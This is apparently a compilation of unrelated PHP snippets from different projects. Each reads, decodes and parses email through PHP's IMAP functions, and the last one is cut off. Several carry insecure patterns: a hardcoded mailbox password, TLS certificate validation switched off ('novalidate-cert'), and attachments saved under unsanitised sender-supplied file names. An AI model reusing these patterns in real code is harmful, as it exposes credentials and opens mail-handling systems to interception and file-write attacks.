/** * Method to read email from imap extension and return Zend Mail Message object. * * This is bridge while migrating to Zend Mail package supporting reading from imap extension functions. * * @param resource $mbox * @param integer $num * @param array $info connection information about connection * @return ImapMessage */ public static function createFromImap($mbox, $num, $info) { // check if the current message was already seen list($overview) = imap_fetch_overview($mbox, $num); $headers = imap_fetchheader($mbox, $num); $content = imap_body($mbox, $num); // fill with "\Seen", "\Deleted", "\Answered", ... etc $knownFlags = array('recent' => Zend\Mail\Storage::FLAG_RECENT, 'flagged' => Zend\Mail\Storage::FLAG_FLAGGED, 'answered' => Zend\Mail\Storage::FLAG_ANSWERED, 'deleted' => Zend\Mail\Storage::FLAG_DELETED, 'seen' => Zend\Mail\Storage::FLAG_SEEN, 'draft' => Zend\Mail\Storage::FLAG_DRAFT); $flags = array(); foreach ($knownFlags as $flag => $value) { if ($overview->{$flag}) { $flags[] = $value; } } $message = new self(array('root' => true, 'headers' => $headers, 'content' => $content, 'flags' => $flags)); // set MailDate to $message object, as it's not available in message headers, only in IMAP itself // this likely "message received date" $imapheaders = imap_headerinfo($mbox, $num); $header = new GenericHeader('X-IMAP-UnixDate', $imapheaders->udate); $message->getHeaders()->addHeader($header); $message->mbox = $mbox; $message->num = $num; $message->info = $info; return $message; }
/** * Get messages according to a search criteria * * @param string search criteria (RFC2060, sec. 6.4.4). Set to "UNSEEN" by default * NB: Search criteria only affects IMAP mailboxes. * @param string date format. Set to "Y-m-d H:i:s" by default * @return mixed array containing messages */ public function get_messages($search_criteria = "UNSEEN", $date_format = "Y-m-d H:i:s") { $msgs = imap_search($this->imap_stream, $search_criteria); $no_of_msgs = $msgs ? count($msgs) : 0; $messages = array(); for ($i = 0; $i < $no_of_msgs; $i++) { // Get Message Unique ID in case mail box changes // in the middle of this operation $message_id = imap_uid($this->imap_stream, $msgs[$i]); $header = imap_header($this->imap_stream, $message_id); $date = date($date_format, $header->udate); $from = $header->from; $fromname = ""; $fromaddress = ""; $subject = ""; foreach ($from as $id => $object) { if (isset($object->personal)) { $fromname = $object->personal; } $fromaddress = $object->mailbox . "@" . $object->host; if ($fromname == "") { // In case from object doesn't have Name $fromname = $fromaddress; } } if (isset($header->subject)) { $subject = $this->_mime_decode($header->subject); } $structure = imap_fetchstructure($this->imap_stream, $message_id); $body = ''; if (!empty($structure->parts)) { for ($j = 0, $k = count($structure->parts); $j < $k; $j++) { $part = $structure->parts[$j]; if ($part->subtype == 'PLAIN') { $body = imap_fetchbody($this->imap_stream, $message_id, $j + 1); } } } else { $body = imap_body($this->imap_stream, $message_id); } // Convert quoted-printable strings (RFC2045) $body = imap_qprint($body); array_push($messages, array('msg_no' => $message_id, 'date' => $date, 'from' => $fromname, 'email' => $fromaddress, 'subject' => $subject, 'body' => $body)); // Mark Message As Read imap_setflag_full($this->imap_stream, $message_id, "\\Seen"); } return $messages; }
/** * Get messages according to a search criteria * * @param string search criteria (RFC2060, sec. 6.4.4). Set to "UNSEEN" by default NB: Search criteria only affects IMAP mailboxes. * @param string date format. Set to "Y-m-d H:i:s" by default * @return mixed array containing messages */ public function get_messages($search_criteria = "UNSEEN", $date_format = "Y-m-d H:i:s") { $msgs = imap_search($this->imap_stream, $search_criteria); $no_of_msgs = $msgs ? count($msgs) : 0; $messages = array(); for ($i = 0; $i < $no_of_msgs; $i++) { $header = imap_header($this->imap_stream, $msgs[$i]); $date = date($date_format, $header->udate); $from = $this->_mime_decode($header->fromaddress); $subject = $this->_mime_decode($header->subject); $structure = imap_fetchstructure($this->imap_stream, $msgs[$i]); if (!empty($structure->parts)) { for ($j = 0, $k = count($structure->parts); $j < $k; $j++) { $part = $structure->parts[$j]; if ($part->subtype == 'PLAIN') { $body = imap_fetchbody($this->imap_stream, $msgs[$i], $j + 1); } } } else { $body = imap_body($this->imap_stream, $msgs[$i]); } // Convert quoted-printable strings (RFC2045) $body = imap_qprint($body); array_push($messages, array('msg_no' => $msgs[$i], 'date' => $date, 'from' => $from, 'subject' => $subject, 'body' => $body)); } return $messages; }
/** * tokens::bounceprocessing() * * @return void */ function bounceprocessing($iSurveyId) { $iSurveyId = sanitize_int($iSurveyId); $clang = $this->getController()->lang; $bTokenExists = tableExists('{{tokens_' . $iSurveyId . '}}'); if (!$bTokenExists) { $clang->eT("No token table."); return; } $thissurvey = getSurveyInfo($iSurveyId); if (!Permission::model()->hasSurveyPermission($iSurveyId, 'tokens', 'update')) { $clang->eT("We are sorry but you don't have permissions to do this."); return; } if ($thissurvey['bounceprocessing'] != 'N' || $thissurvey['bounceprocessing'] == 'G' && getGlobalSetting('bounceaccounttype') != 'off') { if (!function_exists('imap_open')) { $clang->eT("The imap PHP library is not installed. Please contact your system administrator."); return; } $bouncetotal = 0; $checktotal = 0; if ($thissurvey['bounceprocessing'] == 'G') { $accounttype = strtoupper(getGlobalSetting('bounceaccounttype')); $hostname = getGlobalSetting('bounceaccounthost'); $username = getGlobalSetting('bounceaccountuser'); $pass = getGlobalSetting('bounceaccountpass'); $hostencryption = strtoupper(getGlobalSetting('bounceencryption')); } else { $accounttype = strtoupper($thissurvey['bounceaccounttype']); $hostname = $thissurvey['bounceaccounthost']; $username = $thissurvey['bounceaccountuser']; $pass = $thissurvey['bounceaccountpass']; $hostencryption = strtoupper($thissurvey['bounceaccountencryption']); } @(list($hostname, $port) = split(':', $hostname)); if (empty($port)) { if ($accounttype == "IMAP") { switch ($hostencryption) { case "OFF": $hostname = $hostname . ":143"; break; case "SSL": $hostname = $hostname . ":993"; break; case "TLS": $hostname = $hostname . ":993"; break; } } else { switch ($hostencryption) { case "OFF": $hostname = $hostname . ":110"; break; case "SSL": $hostname = $hostname . ":995"; break; case "TLS": $hostname = $hostname . ":995"; break; } } } else { $hostname = $hostname . ":" . $port; } $flags = ""; switch ($accounttype) { case "IMAP": $flags .= "/imap"; break; case "POP": $flags .= "/pop3"; break; } switch ($hostencryption) { case "OFF": $flags .= "/notls"; // Really Off break; case "SSL": $flags .= "/ssl/novalidate-cert"; break; case "TLS": $flags .= "/tls/novalidate-cert"; break; } if ($mbox = @imap_open('{' . $hostname . $flags . '}INBOX', $username, $pass)) { imap_errors(); $count = imap_num_msg($mbox); if ($count > 0) { $lasthinfo = imap_headerinfo($mbox, $count); $datelcu = strtotime($lasthinfo->date); $datelastbounce = $datelcu; $lastbounce = $thissurvey['bouncetime']; while ($datelcu > $lastbounce) { @($header = explode("\r\n", imap_body($mbox, $count, FT_PEEK))); // Don't mark messages as read foreach ($header as $item) { if (preg_match('/^X-surveyid/', $item)) { $iSurveyIdBounce = explode(": ", $item); } if (preg_match('/^X-tokenid/', $item)) { $tokenBounce = explode(": ", $item); if ($iSurveyId == $iSurveyIdBounce[1]) { $aData = array('emailstatus' => 'bounced'); $condn = array('token' => $tokenBounce[1]); $record = Token::model($iSurveyId)->findByAttributes($condn); if ($record->emailstatus != 'bounced') { $record->emailstatus = 'bounced'; $record->save(); $bouncetotal++; } $readbounce = imap_body($mbox, $count); // Put read if (isset($thissurvey['bounceremove']) && $thissurvey['bounceremove']) { $deletebounce = imap_delete($mbox, $count); // Put delete } } } } $count--; @($lasthinfo = imap_headerinfo($mbox, $count)); @($datelc = $lasthinfo->date); $datelcu = strtotime($datelc); $checktotal++; } } @imap_close($mbox); $condn = array('sid' => $iSurveyId); $survey = Survey::model()->findByAttributes($condn); $survey->bouncetime = $datelastbounce; $survey->save(); if ($bouncetotal > 0) { printf($clang->gT("%s messages were scanned out of which %s were marked as bounce by the system."), $checktotal, $bouncetotal); } else { printf($clang->gT("%s messages were scanned, none were marked as bounce by the system."), $checktotal); } } else { $clang->eT("Please check your settings"); } } else { $clang->eT("Bounce processing is deactivated either application-wide or for this survey in particular."); return; } exit; // if bounceprocessing : javascript : no more todo }
/** * @param resource $imapConnection * @param array $messages * @param bool $clean * * @return bool Return <em>true</em> if <strong>all</strong> messages exist in the inbox. */ public function checkMessages($imapConnection, array $messages, $clean = true) { $bodies = array_map(function ($message) { return $message->getText() . "\r\n"; }, $messages); $host = $_ENV['AVISOTA_TEST_IMAP_HOST'] ?: getenv('AVISOTA_TEST_IMAP_HOST'); $hits = 0; for ($i = 0; $i < 30 && $hits < count($bodies); $i++) { // wait for the mail server sleep(2); imap_gc($imapConnection, IMAP_GC_ENV); $status = imap_status($imapConnection, '{' . $host . '}', SA_MESSAGES); for ($j = $status->messages; $j > 0; $j--) { $body = imap_body($imapConnection, $j); if (in_array($body, $bodies)) { $hits++; if ($clean) { imap_delete($imapConnection, $j); } } } imap_expunge($imapConnection); } return $hits; }
function inbox() { $this->msg_cnt = imap_num_msg($this->conn); $in = array(); for ($i = 1; $i <= 20; $i++) { $in[] = array('index' => $i, 'header' => imap_headerinfo($this->conn, $i), 'body' => imap_body($this->conn, $i), 'structure' => imap_fetchstructure($this->conn, $i)); } $this->inbox = $in; }
function retrieve_message($mbox, $messageid, $including = 0) { $message = ''; $structure = imap_fetchstructure($mbox, $messageid); if ($structure->type == 1) { // Если MULTI-PART письмо $message = imap_fetchbody($mbox, $messageid, $including + 1); $parameters = $structure->parts[$including]->parameters; $encoding = $structure->parts[$including]->encoding; } else { $message = imap_body($mbox, $messageid); $parameters = $structure->parameters; $encoding = $structure->encoding; } // if switch ($encoding) { // Декодируем case 0: // 7BIT // 7BIT case 1: // 8BIT // 8BIT case 2: // BINARY break; case 3: // BASE64 $message = base64_decode($message); break; case 4: // QUOTED-PRINTABLE $message = quoted_printable_decode($message); break; case 5: // OTHER // OTHER default: // UNKNOWN return; } // switch $charset = ''; for ($i = 0; $i < count($parameters); $i++) { if ($parameters[$i]->attribute == 'charset') { $charset = $parameters[$i]->value; } } return array($message, $charset); }
public function free($util) { $stream = imap_open("{imap.club-internet.fr:993/imap/SSL}", $util, "wrasuxwr"); var_dump($stream); $check = imap_check($stream); $list = imap_list($stream, "{imap.club-internet.fr}", "*"); imap_createmailbox($stream, '{imap.club-internet.fr}brubru'); $getmailboxes = imap_getmailboxes($stream, "{imap.club-internet.fr}", "*"); $headers = imap_headers($stream); $num_msg = imap_num_msg($stream); $status = imap_status($stream, "{imap.club-internet.fr:993/imap/SSL}INBOX", SA_ALL); $messages = imap_fetch_overview($stream, "1:" . $num_msg); $structure = imap_fetchstructure($stream, 2); $body = utf8_encode(quoted_printable_decode(imap_body($stream, '2'))); // imap_delete($stream, '1'); // imap_expunge($stream); return view('Imap.Imap')->with(compact('resource'))->with(compact('check'))->with(compact('list'))->with(compact('getmailboxes'))->with(compact('headers'))->with(compact('num_msg'))->with(compact('status'))->with(compact('errors'))->with(compact('messages'))->with(compact('structure'))->with(compact('body')); }
function getpart($mbox, $mid, $p, $partno, $charset, $htmlmsg, $plainmsg, $attachments) { // $partno = '1', '2', '2.1', '2.1.3', etc for multipart, 0 if simple // DECODE DATA if ($p->encoding != 3 || $partno < 2) { $data = $partno ? imap_fetchbody($mbox, $mid, $partno, FT_UID) : imap_body($mbox, $mid, FT_UID); } // simple // Any part may be encoded, even plain text messages, so check everything. if ($p->encoding == 4) { $data = quoted_printable_decode($data); } elseif ($p->encoding == 3) { $data = base64_decode($data); } // PARAMETERS // get all parameters, like charset, filenames of attachments, etc. $params = array(); if ($p->parameters) { foreach ($p->parameters as $x) { $params[strtolower($x->attribute)] = $x->value; } } if ($p->dparameters) { foreach ($p->dparameters as $x) { $params[strtolower($x->attribute)] = $x->value; } } // ATTACHMENT // Any part with a filename is an attachment, // so an attached text file (type 0) is not mistaken as the message. if ($params['filename'] || $params['name']) { // filename may be given as 'Filename' or 'Name' or both $filename = $params['filename'] ? $params['filename'] : $params['name']; // filename may be encoded, so see imap_mime_header_decode() $attachments[$filename] = $data; // this is a problem if two files have same name } // TEXT if ($p->type == 0 && $data) { // Messages may be split in different parts because of inline attachments, // so append parts together with blank row. if (strtolower($p->subtype) == 'plain') { $plainmsg .= trim($data) . "\n\n"; } else { $htmlmsg .= $data . "<br /><br />"; } $charset = $params['charset']; // assume all parts are same charset } elseif ($p->type == 2 && $data) { $plainmsg .= $data . "\n\n"; } // SUBPART RECURSION if ($p->parts) { foreach ($p->parts as $partno0 => $p2) { list($charset, $htmlmsg, $plainmsg, $attachments) = getpart($mbox, $mid, $p2, $partno . '.' . ($partno0 + 1), $charset, $htmlmsg, $plainmsg, $attachments); } // 1.2, 1.2.1, etc. } return array($charset, $htmlmsg, $plainmsg, $attachments); }
function get_part($ret, $mid, $p, $partno) { // DECODE DATA $data = $partno ? imap_fetchbody($this->con, $mid, $partno) : imap_body($this->con, $mid); // simple // Any part may be encoded, even plain text messages, so check everything. if ($p->encoding == 4) { $data = quoted_printable_decode($data); } elseif ($p->encoding == 3) { $data = base64_decode($data); } // PARAMETERS // get all parameters, like charset, filenames of attachments, etc. $params = array(); if (isset($p->parameters)) { foreach ($p->parameters as $x) { $params[strtolower($x->attribute)] = $x->value; } } if (isset($p->dparameters)) { foreach ($p->dparameters as $x) { $params[strtolower($x->attribute)] = $x->value; } } // ATTACHMENT // Any part with a filename is an attachment, // so an attached text file (type 0) is not mistaken as the message. if (!empty($params['filename']) || !empty($params['name'])) { // filename may be given as 'Filename' or 'Name' or both $filename = empty($params['filename']) ? $params['name'] : $params['filename']; // filename may be encoded, so see imap_mime_header_decode() $ret->attachments[$filename] = $data; // this is a problem if two files have same name } // TEXT if ($p->type == 0 && $data) { // Messages may be split in different parts because of inline attachments, // so append parts together with blank row. if (strtolower($p->subtype) == 'plain') { $ret->plainmsg .= trim($data) . "\n\n"; } else { $ret->htmlmsg .= $data . "<br><br>"; } $ret->charset = $params['charset']; // assume all parts are same charset } elseif ($p->type == 2 && $data) { $ret->plainmsg .= $data . "\n\n"; } // SUBPART RECURSION if (!empty($p->parts)) { foreach ($p->parts as $partno0 => $p2) { $subpart = new \stdClass(); $subpart->htmlmsg = $subpart->plainmsg = $subpart->charset = ''; $subpart->attachments = array(); $ret->subpart = $subpart; $this->get_part($subpart, $mid, $p2, $partno . '.' . ($partno0 + 1)); // 1.2, 1.2.1, etc. } } }
function retrieve_message($auth_user, $accountid, $messageid, $fullheaders) { $message = array(); if (!($auth_user && $messageid && $accountid)) { return false; } $imap = open_mailbox($auth_user, $accountid); if (!$imap) { return false; } $header = imap_header($imap, $messageid); if (!$header) { return false; } $message['body'] = imap_body($imap, $messageid); if (!$message['body']) { $message['body'] = "[This message has no body]\n\n\n\n\n\n"; } if ($fullheaders) { $message['fullheaders'] = imap_fetchheader($imap, $messageid); } else { $message['fullheaders'] = ''; } $message['subject'] = $header->subject; $message['fromaddress'] = $header->fromaddress; $message['toaddress'] = $header->toaddress; $message['ccaddress'] = $header->ccaddress; $message['date'] = $header->date; // note we can get more detailed information by using from and to // rather than fromaddress and toaddress, but these are easier imap_close($imap); return $message; }
function get_message($uid) { $raw_header = imap_fetchheader($this->stream, $uid, FT_UID); $raw_body = imap_body($this->stream, $uid, FT_UID); $message = new Email_Parser($raw_header . $raw_body); return $message; }
function get_message($msg) { $header = imap_fetchheader($this->_connection, $msg); echo "<h1>header {$msg}:</h1><br>".$header; $message = imap_body($this->_connection, $msg); echo "<h1>message {$msg}:</h1><br>".$message; return $header.$message; }
function imap_read_mail($mail_id) { $mail_header = imap_header($this->conn, $mail_id); $mail_body = imap_body($this->conn, $mail_id); foreach ($mail_header as $mail_head) { $mail[] = $mail_head; } $mail['body'] = $mail_body; return $mail; }
/** * Get messages according to a search criteria * * @param string search criteria (RFC2060, sec. 6.4.4). Set to "UNSEEN" by default * NB: Search criteria only affects IMAP mailboxes. * @param string date format. Set to "Y-m-d H:i:s" by default * @return mixed array containing messages */ public function get_messages($search_criteria = "UNSEEN", $date_format = "Y-m-d H:i:s") { //$msgs = imap_num_msg($this->imap_stream); $no_of_msgs = imap_num_msg($this->imap_stream); $messages = array(); for ($i = 1; $i <= $no_of_msgs; $i++) { $header = imap_headerinfo($this->imap_stream, $i); $message_id = $header->message_id; $date = date($date_format, $header->udate); $from = $header->from; $fromname = ""; $fromaddress = ""; $subject = ""; foreach ($from as $id => $object) { if (isset($object->personal)) { $fromname = $object->personal; } $fromaddress = $object->mailbox . "@" . $object->host; if ($fromname == "") { // In case from object doesn't have Name $fromname = $fromaddress; } } if (isset($header->subject)) { $subject = $this->_mime_decode($header->subject); } // Read the message structure $structure = imap_fetchstructure($this->imap_stream, $i); if (!empty($structure->parts)) { for ($j = 0, $k = count($structure->parts); $j < $k; $j++) { $part = $structure->parts[$j]; if ($part->subtype == 'PLAIN') { $body = imap_fetchbody($this->imap_stream, $i, $j + 1); } } } else { $body = imap_body($this->imap_stream, $i); } // Convert quoted-printable strings (RFC2045) $body = imap_qprint($body); // Convert to valid UTF8 $body = htmlentities($body); $subject = htmlentities($subject); array_push($messages, array('message_id' => $message_id, 'date' => $date, 'from' => $fromname, 'email' => $fromaddress, 'subject' => $subject, 'body' => $body)); // Mark Message As Read imap_setflag_full($this->imap_stream, $i, "\\Seen"); } return $messages; }
public function getMails() { $this->open(); $MC = imap_check($this->resource); $result = imap_fetch_overview($this->resource, "1:{$MC->Nmsgs}", 0); $mail = array(); for ($x = 0; $x < $MC->Nmsgs; $x++) { $mail[$x] = imap_header($this->resource, $x + 1); $mail[$x]->body = utf8_encode(imap_body($this->resource, $x + 1)); } $this->close(); return $mail; }
public function getEmailInfo($messageNumber) { $body = nl2br(strip_tags(imap_body($this->conn, $messageNumber))); $header = imap_header($this->conn, $messageNumber); // For getting From and then display name/email address $from2 = $header->from; // Get display from name and email address: $fromname = $fromaddress = ''; foreach ($from2 as $id => $object) { $fromname = property_exists($object, 'personal') ? $object->personal : ''; $fromaddress = property_exists($object, 'mailbox') ? $object->mailbox . "@" . $object->host : ''; } // End foreach. $mailHeader = imap_headerinfo($this->conn, $messageNumber); // For gleaning subject and date. $subject = strip_tags($mailHeader->subject); $date = $mailHeader->date; return array($body, $fromname, $fromaddress, $subject, $date); }
function get_plain_text_body($mbox, $msgNum, &$attachments = array()) { $structure = imap_fetchstructure($mbox, $msgNum); // only plain text if ('PLAIN' == $structure->subtype) { return trim(imap_qprint(imap_body($mbox, $msgNum))); } if (isset($structure->parts)) { // get attachments foreach ($structure->parts as $partNum => $part) { if (in_array($part->subtype, array('JPEG', 'PNG', 'GIF'))) { // oeh an image $name = 'image-from-email-' . $msgNum . '.' . strtolower($part->subtype); foreach ($part->parameters as $param) { if ('NAME' == $param->attribute) { $name = $param->value; } } $data = imap_fetchbody($mbox, $msgNum, (string) ($partNum + 1)); file_put_contents($attachments[] = 'attachments/' . time() . '--' . $name, base64_decode($data)); } } // multipart (probably) -- look for plain text part foreach ($structure->parts as $partNum => $part) { if ('PLAIN' == $part->subtype) { $body = imap_fetchbody($mbox, $msgNum, (string) ($partNum + 1)); return trim($body); } else { if ('ALTERNATIVE' == $part->subtype && isset($part->parts)) { foreach ($part->parts as $subPartNum => $subPart) { if ('PLAIN' == $subPart->subtype) { $body = imap_fetchbody($mbox, $msgNum, $partNum + 1 . '.' . ($subPartNum + 1)); return trim($body); } } } } } } }
public function getMails() { /*echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head><body>';*/ $message_count = imap_num_msg($this->MailBoxHandle); for ($counter = 1; $counter <= $message_count; $counter++) { // echo "<h1>Headers in INBOX</h1>\n"; $headers = imap_headerinfo($this->MailBoxHandle,$counter); $structure = imap_fetchstructure($this->MailBoxHandle,$counter); $ttype = $structure->type; $tcode = $structure->encoding; $body = imap_body($this->MailBoxHandle,$counter,1); if ( $tcode == 3 ) { $body = base64_decode($body); $value= $body; if (isset($structure->parameters[0]->attribute) && $structure->parameters[0]->attribute=='CHARSET'); { if ($structure->parameters[0]->value=='iso-8859-1') { $body = str_replace("\r\n", "<br />",iconv("ISO-8859-1", "UTF-8",$body)); } } } if ( $tcode == 4 ) { $body = quoted_printable_decode($body); $body = str_replace("\r\n", "<br />",iconv("ISO-8859-1", "UTF-8",$body)); } // echo "<br />".$body; } imap_close($this->MailBoxHandle); }
function __parseEmailBody(&$mbox, $message, $hash, &$parts) { $body = ''; $s = imap_fetchstructure($mbox, $message); //see if there are any parts if (!isset($s->parts) || count($s->parts) == 0) { $body = imap_body($mbox, $message); if ($s->encoding == 4) { $body = quoted_printable_decode($body); } if (strtoupper($s->subtype) == 'HTML') { $body = strip_tags($body); } foreach ($s->parameters as $p) { if (strtoupper($p->attribute) == 'CHARSET') { $body = mb_convert_encoding($body, 'UTF-8', $p->value); } } return $body; } else { foreach ($s->parts as $partno => $partarr) { LilTasksParseEmail::__parseEmailPart($partarr, $partno + 1, $hash, $mbox, $message, $parts); } // try to find first plain body foreach ($parts as $part) { if (strtoupper($part['subtype']) == 'PLAIN' && isset($part['text'])) { return $part['text']; } } // no plain body found. search for html body foreach ($parts as $part) { if (strtoupper($part['subtype']) == 'HTML' && isset($part['text'])) { return strip_tags($part['text']); } } return false; } }
/** * returns the HTML text part of a multi-part message * * @param int msgNo the relative message number for the monitored mailbox * @param string $type the type of text processed, either 'PLAIN' or 'HTML' * @return string UTF-8 encoded version of the requested message text */ function getMessageText($msgNo, $type, $structure, $fullHeader, $clean_email = true, $bcOffset = "") { global $sugar_config; $msgPart = ''; $bc = $this->buildBreadCrumbs($structure->parts, $type); //Add an offset if specified if (!empty($bcOffset)) { $bc = $this->addBreadCrumbOffset($bc, $bcOffset); } if (!empty($bc)) { // multi-part // HUGE difference between PLAIN and HTML if ($type == 'PLAIN') { $msgPart = $this->getMessageTextFromSingleMimePart($msgNo, $bc, $structure); } else { // get part of structure that will $msgPartRaw = ''; $bcArray = $this->buildBreadCrumbsHTML($structure->parts, $bcOffset); // construct inline HTML/Rich msg foreach ($bcArray as $bcArryKey => $bcArr) { foreach ($bcArr as $type => $bcTrail) { if ($type == 'html') { $msgPartRaw .= $this->getMessageTextFromSingleMimePart($msgNo, $bcTrail, $structure); } else { // deal with inline image $part = $this->getPartByPath($bcTrail, $structure->parts); if (empty($part) || empty($part->id)) { continue; } $partid = substr($part->id, 1, -1); // strip <> around if (isset($this->inlineImages[$partid])) { $imageName = $this->inlineImages[$partid]; $newImagePath = "class=\"image\" src=\"{$this->imagePrefix}{$imageName}\""; $preImagePath = "src=\"cid:{$partid}\""; $msgPartRaw = str_replace($preImagePath, $newImagePath, $msgPartRaw); } } } } $msgPart = $msgPartRaw; } } else { // either PLAIN message type (flowed) or b0rk3d RFC // make sure we're working on valid data here. if ($structure->subtype != $type) { return ''; } $decodedHeader = $this->decodeHeader($fullHeader); // now get actual body contents $text = imap_body($this->conn, $msgNo); $upperCaseKeyDecodeHeader = array(); if (is_array($decodedHeader)) { $upperCaseKeyDecodeHeader = array_change_key_case($decodedHeader, CASE_UPPER); } // if if (isset($upperCaseKeyDecodeHeader[strtoupper('Content-Transfer-Encoding')])) { $flip = array_flip($this->transferEncoding); $text = $this->handleTranserEncoding($text, $flip[strtoupper($upperCaseKeyDecodeHeader[strtoupper('Content-Transfer-Encoding')])]); } $msgPart = $text; if (is_array($upperCaseKeyDecodeHeader['CONTENT-TYPE']) && isset($upperCaseKeyDecodeHeader['CONTENT-TYPE']['charset']) && !empty($upperCaseKeyDecodeHeader[$upperCaseKeyDecodeHeader['CONTENT-TYPE']]['charset'])) { $msgPart = $this->handleCharsetTranslation($text, $upperCaseKeyDecodeHeader['CONTENT-TYPE']['charset']); } else { $msgPart = utf8_encode($text); } } // end else clause $msgPart = $this->customGetMessageText($msgPart); /* cn: bug 9176 - htmlEntitites hide XSS attacks. * decode to pass refreshed HTML to HTML_Safe */ if ($type == 'PLAIN') { return $this->cleanXssContent(to_html($msgPart)); } else { $safedMsgPart = $this->cleanContent($msgPart); return str_replace("<img />", '', $safedMsgPart); /*SKIP_IMAGE_TAG*/ } }
protected function initMailPart($mbox, $mail, $partStructure, $partNum) { $data = $partNum ? imap_fetchbody($mbox, $mail['id'], $partNum, FT_UID | FT_PEEK) : imap_body($mbox, $mail['id'], FT_UID | FT_PEEK); if ($partStructure->encoding == 1) { $data = imap_utf8($data); } elseif ($partStructure->encoding == 2) { $data = imap_binary($data); } elseif ($partStructure->encoding == 3) { $data = imap_base64($data); } elseif ($partStructure->encoding == 4) { $data = imap_qprint($data); } $params = array(); if (!empty($partStructure->parameters)) { foreach ($partStructure->parameters as $param) { $params[strtolower($param->attribute)] = $param->value; } } if (!empty($partStructure->dparameters)) { foreach ($partStructure->dparameters as $param) { $paramName = strtolower(preg_match('~^(.*?)\\*~', $param->attribute, $matches) ? $matches[1] : $param->attribute); if (isset($params[$paramName])) { $params[$paramName] .= $param->value; } else { $params[$paramName] = $param->value; } } } if (!empty($params['charset'])) { $data = iconv(strtoupper($params['charset']), 'utf-8', $data); } $attachmentId = $partStructure->ifid ? trim($partStructure->id, " <>") : (isset($params['filename']) || isset($params['name']) ? mt_rand() . mt_rand() : null); if ($attachmentId) { if (empty($params['filename']) && empty($params['name'])) { $fileName = $attachmentId . '.' . strtolower($partStructure->subtype); } else { $fileName = !empty($params['filename']) ? $params['filename'] : $params['name']; $fileName = self::decodeMimeStr($fileName); $fileName = self::decodeRFC2231($fileName); } $mail['attachments'][$attachmentId]['filename'] = $fileName; $mail['attachments'][$attachmentId]['attachment'] = $data; } elseif ($partStructure->type == 0 && $data) { if (base64_decode($data, true)) { $data = base64_decode($data); } if (strtolower($partStructure->subtype) == 'plain') { $mail['textPlain'] .= $data; } else { $mail['textHtml'] .= $data; } } elseif ($partStructure->type == 2 && $data) { $mail['textPlain'] .= trim($data); } if (!empty($partStructure->parts)) { foreach ($partStructure->parts as $subPartNum => $subPartStructure) { if ($partStructure->type == 2 && $partStructure->subtype == 'RFC822') { $mail = self::initMailPart($mbox, $mail, $subPartStructure, $partNum); } else { $mail = self::initMailPart($mbox, $mail, $subPartStructure, $partNum . '.' . ($subPartNum + 1)); } } } return $mail; }
/** Parse messages sitting in mailbox */ function parse_messages() { if ($this->num_msgs > 0) { for ($x = 1; $x < $this->num_msgs + 1; $x++) { # Retrieve raw mail body $rawdata = imap_fetchheader($this->conn, $x) . imap_body($this->conn, $x); # Retrieve mail structure $struct = imap_fetchstructure($this->conn, $x); # Retrieve mail headers $headers = imap_headerinfo($this->conn, $x); # Build array of addresses mail was sent to $to = array(); foreach ($headers->to as $item) { array_push($to, $item->mailbox . "@" . $item->host); } # Get the address message is from $from = $headers->from[0]->mailbox . "@" . $headers->from[0]->host; # FIXME - attachment handling: # Use of dparameters seems to be wrong - the correct key is 'filename' I guess. # More info http://php.net/manual/en/function.imap-fetchstructure.php # Anyway, I have removed the attachment code since it doesn't work AND # the code in the parser script already handle the attachments. # Check if this is a multipart message. (can not use type since # it is 0 for text (.txt) attachments.) // if ($struct->type == 1) { if ($struct->parts) { foreach ($struct->parts as $key => $part) { // Skipping HTML if ($part->ifsubtype == 1 and $part->subtype == "HTML") { continue; } // Ignoring all attachements if (strtolower($part->disposition) != "attachment") { # Retrieve mail body $body = imap_fetchbody($this->conn, $x, $key + 1); # Check for base64 or quoted printable encoding if ($part->encoding == 3) { $body = imap_base64($body); } else { if ($part->encoding == 4) { $body = imap_qprint($body); } } } } } else { # Retrieve mail body (for this single part message). $body = imap_body($this->conn, $x); # Check for base64 or quoted printable encoding if ($struct->encoding == 3) { $body = imap_base64($body); } else { if ($struct->encoding == 4) { $body = imap_qprint($body); } } } # Add message to array $this->messages[] = array('msgno' => $x, 'from' => $from, 'to' => $to, 'message_id' => $headers->message_id, 'subject' => $headers->subject, 'body' => $body, 'rawdata' => $rawdata); } } }
private function _getpart($mbox, $mid, $p, $partno) { // $partno = '1', '2', '2.1', '2.1.3', etc if multipart, 0 if not multipart global $htmlmsg, $plainmsg, $attachments; // DECODE DATA $data = $partno ? imap_fetchbody($mbox, $mid, $partno) : imap_body($mbox, $mid); // not multipart // Any part may be encoded, even plain text messages, so check everything. if ($p->encoding == 4) { $data = quoted_printable_decode($data); } elseif ($p->encoding == 3) { $data = base64_decode($data); } // no need to decode 7-bit, 8-bit, or binary // TEXT if ($p->type == 0 && $data) { // Messages may be split in different parts because of inline attachments, // so append parts together with blank row. if (strtolower($p->subtype) == 'plain') { $plainmsg .= trim($data) . "\n\n"; } else { $htmlmsg .= $data . "<br><br>"; } } elseif ($p->type == 2 && $data) { $plainmsg .= trim($data) . "\n\n"; } // SUBPART RECURSION if (isset($p->parts)) { foreach ($p->parts as $partno0 => $p2) { $this->_getpart($mbox, $mid, $p2, $partno . '.' . ($partno0 + 1)); } // 1.2, 1.2.1, etc. } }
function __getpart($imap, $messageid, $p, $partno) { // $partno = '1', '2', '2.1', '2.1.3', etc if multipart, 0 if not multipart if ($partno) { $maxDownLoadLimit = ConfigPrefs::get('MAXDOWNLOADLIMIT'); if ($p->bytes < $maxDownLoadLimit) { $data = imap_fetchbody($imap, $messageid, $partno); // multipart } } else { $data = imap_body($imap, $messageid); //not multipart } // Any part may be encoded, even plain text messages, so check everything. if ($p->encoding == 4) { $data = quoted_printable_decode($data); } elseif ($p->encoding == 3) { $data = base64_decode($data); } // no need to decode 7-bit, 8-bit, or binary // PARAMETERS // get all parameters, like charset, filenames of attachments, etc. $params = array(); if ($p->parameters) { foreach ($p->parameters as $x) { $params[strtolower($x->attribute)] = $x->value; } } if ($p->dparameters) { foreach ($p->dparameters as $x) { $params[strtolower($x->attribute)] = $x->value; } } // ATTACHMENT // Any part with a filename is an attachment, // so an attached text file (type 0) is not mistaken as the message. if ($params['filename'] || $params['name']) { // filename may be given as 'Filename' or 'Name' or both $filename = $params['filename'] ? $params['filename'] : $params['name']; // filename may be encoded, so see imap_mime_header_decode() if (!$this->_attachments) { $this->_attachments = array(); } 